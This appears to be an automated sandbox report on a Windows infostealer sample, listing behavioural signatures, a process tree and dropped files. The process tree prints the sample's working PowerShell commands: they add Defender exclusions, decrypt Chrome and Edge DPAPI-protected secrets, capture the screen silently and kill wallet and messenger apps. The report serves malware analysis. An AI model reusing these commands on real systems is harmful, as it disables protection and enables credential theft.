Analysis

  • max time kernel
    152s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 08:55

General

  • Target
    2026-08-03_bd584cad17015ecefc1e3de56e6b8bf7_amadey_blankgrabber_coinminer_darkgate_glassworm_icedid_.exe
  • Size 127.3MB
  • Sample260803-kvl5pasdmb
  • SHA256 c984299660c347cfb7e33c9a659dabbf6cca8a101e18491653d5bf43b7938243
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Executes a command shell one-liner 1 TTPs 12 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 4 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-03_bd584cad17015ecefc1e3de56e6b8bf7_amadey_blankgrabber_coinminer_darkgate_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_bd584cad17015ecefc1e3de56e6b8bf7_amadey_blankgrabber_coinminer_darkgate_glassworm_icedid_.exe"
    1⤵
    • Creates a file in the Startup directory
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:4156
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "net session"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2480
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3248
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:5264
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-08-03_bd584cad17015ecefc1e3de56e6b8bf7_amadey_blankgrabber_coinminer_darkgate_glassworm_icedid_.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-03_bd584cad17015ecefc1e3de56e6b8bf7_amadey_blankgrabber_coinminer_darkgate_glassworm_icedid_.exe'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1916
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-08-03_bd584cad17015ecefc1e3de56e6b8bf7_amadey_blankgrabber_coinminer_darkgate_glassworm_icedid_.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-03_bd584cad17015ecefc1e3de56e6b8bf7_amadey_blankgrabber_coinminer_darkgate_glassworm_icedid_.exe'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2288
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -join '||'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -join '||'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA0IbUG0xVHki5ZJIT5Ma54BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAADgf6pp2ozBz6eapEqZv/cbODjQJd2eqsG5ek7JhUCR+AAAAAA6AAAAAAgAAIAAAABk1L2+6q2+b+5I21HglvhACn0ByhbF7Uv+TscZpuH8xMAAAABixE9wRWfuyTh9yg8grng6bO0MtU0ScoSCL5SKLryBQHd6t3NNw2WU0KOPUn9xQQUAAAABUnCvYG1C/Z7DW6vvUt3aK9g83Roxb5ATB4XDOmWe0bqHP+Wna/DcWHl13Jv0cgkkoosbriUUMgdwOtqmHIt8D');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1932
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA0IbUG0xVHki5ZJIT5Ma54BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAADgf6pp2ozBz6eapEqZv/cbODjQJd2eqsG5ek7JhUCR+AAAAAA6AAAAAAgAAIAAAABk1L2+6q2+b+5I21HglvhACn0ByhbF7Uv+TscZpuH8xMAAAABixE9wRWfuyTh9yg8grng6bO0MtU0ScoSCL5SKLryBQHd6t3NNw2WU0KOPUn9xQQUAAAABUnCvYG1C/Z7DW6vvUt3aK9g83Roxb5ATB4XDOmWe0bqHP+Wna/DcWHl13Jv0cgkkoosbriUUMgdwOtqmHIt8D');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1684
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA0IbUG0xVHki5ZJIT5Ma54BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAGSFvpzCyMOBXJoK0KgwdXvC7AR01rgO/dkEodjbqh1QAAAAADoAAAAACAAAgAAAAMDIMT6p9VMaTcDKbgT2/5KCV05hIh5r2D0TDPGvW6ZEwAAAA3teL8tlmbWVoSlEVMxAslwzxigJtJ3Knatnd0s1YFJ1XOt1ImWda5kRXIHMnl1fqQAAAAItveSiqUWu6bqfcFYqGHi60qf0YhQvU1jxmIpNTVOxxmm/tf2wWfaMLszYYqtFAOcU297VLUnZsY6I8I3Dwnk0=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA0IbUG0xVHki5ZJIT5Ma54BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAGSFvpzCyMOBXJoK0KgwdXvC7AR01rgO/dkEodjbqh1QAAAAADoAAAAACAAAgAAAAMDIMT6p9VMaTcDKbgT2/5KCV05hIh5r2D0TDPGvW6ZEwAAAA3teL8tlmbWVoSlEVMxAslwzxigJtJ3Knatnd0s1YFJ1XOt1ImWda5kRXIHMnl1fqQAAAAItveSiqUWu6bqfcFYqGHi60qf0YhQvU1jxmIpNTVOxxmm/tf2wWfaMLszYYqtFAOcU297VLUnZsY6I8I3Dwnk0=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:6136
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3464
        • C:\Windows\system32\taskkill.exe
          taskkill /IM Steam.exe /F
          3⤵
          • Kills process with taskkill
          PID:3620
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1784
        • C:\Windows\system32\taskkill.exe
          taskkill /IM javaw.exe /F
          3⤵
          • Kills process with taskkill
          PID:2192
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\system32\taskkill.exe
          taskkill /IM Exodus.exe /F
          3⤵
          • Kills process with taskkill
          PID:4664
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5784
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:1508
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3516
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2588
        • C:\Windows\system32\tasklist.exe
          tasklist /FO CSV /NH
          3⤵
          • Discovers running processes
          PID:3112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5756
        • C:\Windows\system32\taskkill.exe
          taskkill /IM Telegram.exe /F
          3⤵
          • Kills process with taskkill
          PID:3128

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          koffi.node

          • Path C:\Users\Admin\.cache\pkg\df0cfa4c41c97e25d503a1b98c21196bf37125a736999793f2ee1efd8ffb4fd9\koffi\build\koffi\win32_x64\koffi.node
          • Size 3.0MB
          • SHA256 df0cfa4c41c97e25d503a1b98c21196bf37125a736999793f2ee1efd8ffb4fd9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1e1f58f63a5e07d83bfb5e39733e7a24987effb6333432843affa0754354416b
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 e38574588781b5f0e908fb549092dffcfb80c7500073b9218e121aa221375d15
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 add4830d3270e3814a002eac61da7235fc3bfaf4b481027d1b4347ce189598f4
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_04hkpplc.ryd.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_04hkpplc.ryd.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1684-50-0x000002DBCF100000-0x000002DBCF150000-memory.dmp

          memory/2288-34-0x0000028BD08C0000-0x0000028BD08E2000-memory.dmp

          memory/2288-37-0x0000028BD0970000-0x0000028BD098E000-memory.dmp

          memory/2288-38-0x0000028BD0C10000-0x0000028BD0CC2000-memory.dmp

          memory/2288-39-0x0000028BD0960000-0x0000028BD096A000-memory.dmp